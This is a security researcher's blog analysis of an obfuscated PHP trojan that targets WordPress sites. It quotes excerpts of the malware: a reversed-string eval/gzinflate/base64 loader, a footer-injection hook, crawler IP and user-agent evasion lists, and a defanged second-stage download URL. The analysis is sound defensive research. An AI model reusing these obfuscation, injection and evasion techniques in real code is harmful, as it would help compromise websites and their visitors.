Malicious PHP Script Back on Stage?

Published: 2019-07-18
Last Updated: 2019-07-19 06:18:58 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

It’s amazing how we can find old scripts coming back to life for some obscure reasons. If today, Powershell or JavaScript (and its derivations) are very common languages used to perform malicious actions, PHP remains also a good candidate. One of my hunting rules is to search for reversed PHP commands using the strrev() function. A few days ago I found a PHP script on pastebin.com that contained the following functions:

$rnfir_zap = strrev('edoced_46esab');$e_nn = strrev('etalfnizg');eval($e_nn($rnfir_zap(implode('',$ro_ie))));

This is a very common technique to obfuscate basic strings-based detection mechanisms. The variable ro_ie’ was an array of concatenated strings:

$ro_ie = array('1TsJc9pI1n+FcaUmZpNJ1DrRe','pjPdgw+YnCwAWNmUhSHjMHiWA','5zZPLf9x3dLQlwEs9U7e6XSYT','U6n731a81qd79/k/382F71hsN',
'G8GyN51N918XjhrHr9PpL+pFC','gf2X/XSX141s0eTSXO1/7r8Ov','Xu9S1efBevzdvl9O4mY1z2j7o','fT4tPrdrxQ+cU34S9Fv6cVrzz',
'nCjf4H2l0sWfqw/2gn5XeD2uM','RwHfx5bVmd9nnMq5yd3+DwvfH','jMvn77um3mB/WqP2uZ1wQbhlo','WrQ5bod/Du7taMawTRp4BlxVM',
'a57RCqON15PR0+UiiwDh7/kq0','4efaAD/wqRLvCyyeM3Se7rD25','JmvoiXPl7qtWPjsrJ8wPvWAK8','dcXfbCa96QFpPCBxpE6OLbv3W’,
...
Easy to decode, rebuild the strings from the array, decode and decompress the data. Guess what you will find? Another obfuscated script. So, I started to work on it and found interesting behaviours.
 
Most of the strings used in the second script are Base64-encoded and placed in an array. They are used via a function which takes an index as parameter. Example:
function decode($i)(
  $array = Array('T' .'W' .'96' .'aWxsYS80LjAgKGNvbXBhdG' .'lib' .'GU7IE1TS' .'UUg'
                 .'OC4w' .'Oy' .'BX' .'aW5' .'kb3dzIE5UIDY' .'uMCk=','c2FmZV9tb2R' .'l',b3’
                 ...);
  return(base64_decode($array[$i]))
}
...
$_56 = decode(1);
The malicious script creates files in '/dev/shm/<directory>/'. That's clever: /dev/shm is writable by any user on a Linux system and is more stealthy than dumping files to /tmp or /var/tmp!
 
Many integers are replaced by the round() function with mathematical expressions. Example:
return preg_replace(MA_B(243),MA_B(244) .$_69,$_74,round(0+0.33333333333333+0.33333333333333+0.33333333333333));
The round() function above returns 1’.
 
The presence of many 'wp_xxxx' strings reveals that the script is targeting WordPress websites. There is indeed a hooking[1] function in place:
@add_action(wp_footer’,’check_wp_load',mt_rand(1,10));
This hook injects malicious code in the Wordpress footer.
 
Other interesting techniques are present. The script checks that the Wordpress website has a good reputation by querying the Google safebrowing API:
$_34=$_SERVER[HTTP_HOST];
$_0="http://google.com/safebrowsing/diagnostic?site=$_34;
$_67=@cc($_0); // Perform the HTTP query
if ($_67 != ‘' && strpos($_67,'is listed as suspicious')!== false) {
   ...
There is an anti-bot / anti-analysis control in place. Here are the extracted strings from the array of Base64 strings mentioned above:
66\.249\.[6-9][0-9]\.[0-9]+
72\.14\.[1-2][0-9][0-9]\.[0-9]+
74\.125\.[0-9]+\.[0-9]+
65\.5[2-5]\.[0-9]+\.[0-9]+
74\.6\.[0-9]+\.[0-9]+
67\.195\.[0-9]+\.[0-9]+
72\.30\.[0-9]+\.[0-9]+
38\.[0-9]+\.[0-9]+\.[0-9]+
124\.115\.6\.[0-9]+
93\.172\.94\.227
212\.100\.250\.218
71\.165\.223\.134
209\.9\.239\.101
67\.217\.160\.[0-9]+
70\.91\.180\.25
65\.93\.62\.242
74\.193\.246\.129
213\.144\.15\.38
195\.92\.229\.2
70\.50\.189\.191
218\.28\.88\.99
165\.160\.2\.20
89\.122\.224\.230
66\.230\.175\.124
218\.18\.174\.27
65\.33\.87\.94
67\.210\.111\.241
81\.135\.175\.70
64\.69\.34\.134
89\.149\.253\.169
64\.233\.1[6-8][1-9]\.[0-9]+
64\.233\.19[0-1]\.[0-9]+
209\.185\.108\.[0-9]+
209\.185\.253\.[0-9]+
209\.85\.238\.[0-9]+
216\.239\.33\.9[6-9]
216\.239\.37\.9[8-9]
216\.239\.39\.9[8-9]
216\.239\.41\.9[6-9]
216\.239\.45\.4
216\.239\.46\.[0-9]+
216\.239\.51\.9[6-9]
216\.239\.53\.9[8-9]
216\.239\.57\.9[6-9]
216\.239\.59\.9[8-9]
216\.33\.229\.163
64\.233\.173\.[0-9]+
64\.68\.8[0-9]\.[0-9]+
64\.68\.9[0-2]\.[0-9]+
72\.14\.199\.[0-9]+
8\.6\.48\.[0-9]+
207\.211\.40\.82
67\.162\.158\.146
66\.255\.53\.123
24\.200\.208\.112
129\.187\.148\.240
129\.187\.148\.244
199\.126\.151\.229
118\.124\.32\.193
89\.149\.217\.191
122\.164\.27\.42
149\.5\.168\.2
150\.70\.66\.[0-9]+
194\.250\.116\.39
208\.80\.194\.[0-9]+
62\.190\.39\.205
67\.198\.80\.236
85\.85\.187\.243
95\.134\.141\.250
97\.107\.135\.[0-9]+
97\.79\.239\.[0-9]+
173\.255\.233\.[0-9]+
184\.168\.191\.[0-9]+
95\.108\.157\.[0-9]+
209\.235\.253\.17
80\.203\.168\.254
91\.121\.139\.153
65\.106\.217\.107
212\.227\.136\.64
216\.27\.40\.61
125\.212\.44\.207
118\.169\.43\.123
118\.169\.40\.20
http
google
slurp
msnbot
bot
crawl
spider
robot
httpclient
curl
php
indy library
wordpress
charlotte
wwwster
python
urllib
perl
libwww
lynx
twiceler
rambler
yandex
trend
virus
malware
wget
The next step was to find the code used to download another stage. Again, based on the same technique with Base64-encoded strings. The rebuilt URL is:
hxxp://net44net[.]net/net/2.php?u=aHR0cDovLzUyLjIwOS4yNDguMjglMkZ0cm9qYW4ucGhw
As in many cases, the domain does not resolve (and seems for sale according to domaintools.com)… Queries to some passive DNS databases revealed an IP address but it does not reply. Your last hope is often to Google for some strings. I found a blog post from 2012(!) which described exactly the same behaviour [2] but, with some differences in the code:
  1. Files were stored in /tmp instead of /dev/shm/.
  2. The hooked WP function is wp_head() instead of wp_footer().
  3. No call to Google safebrowsing.

But the domain used to download the second stage is the same. Why does the script come back to life?

Some possible scenarios:
  1. The more recent script (posted on the 10th of July) has been revamped?
  2. The script has been found on an old compromised server?
  3. Did somebody find the script somewhere else? The pastie title is “PHP Trojan?” but it not referenced anywhere else according to Google.
Note that both hashes of both scripts are unknown on VT.  If you have more information about this script or the technique used, feel free to share!
 
 
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
0 comment(s)

Comments


Diary Archives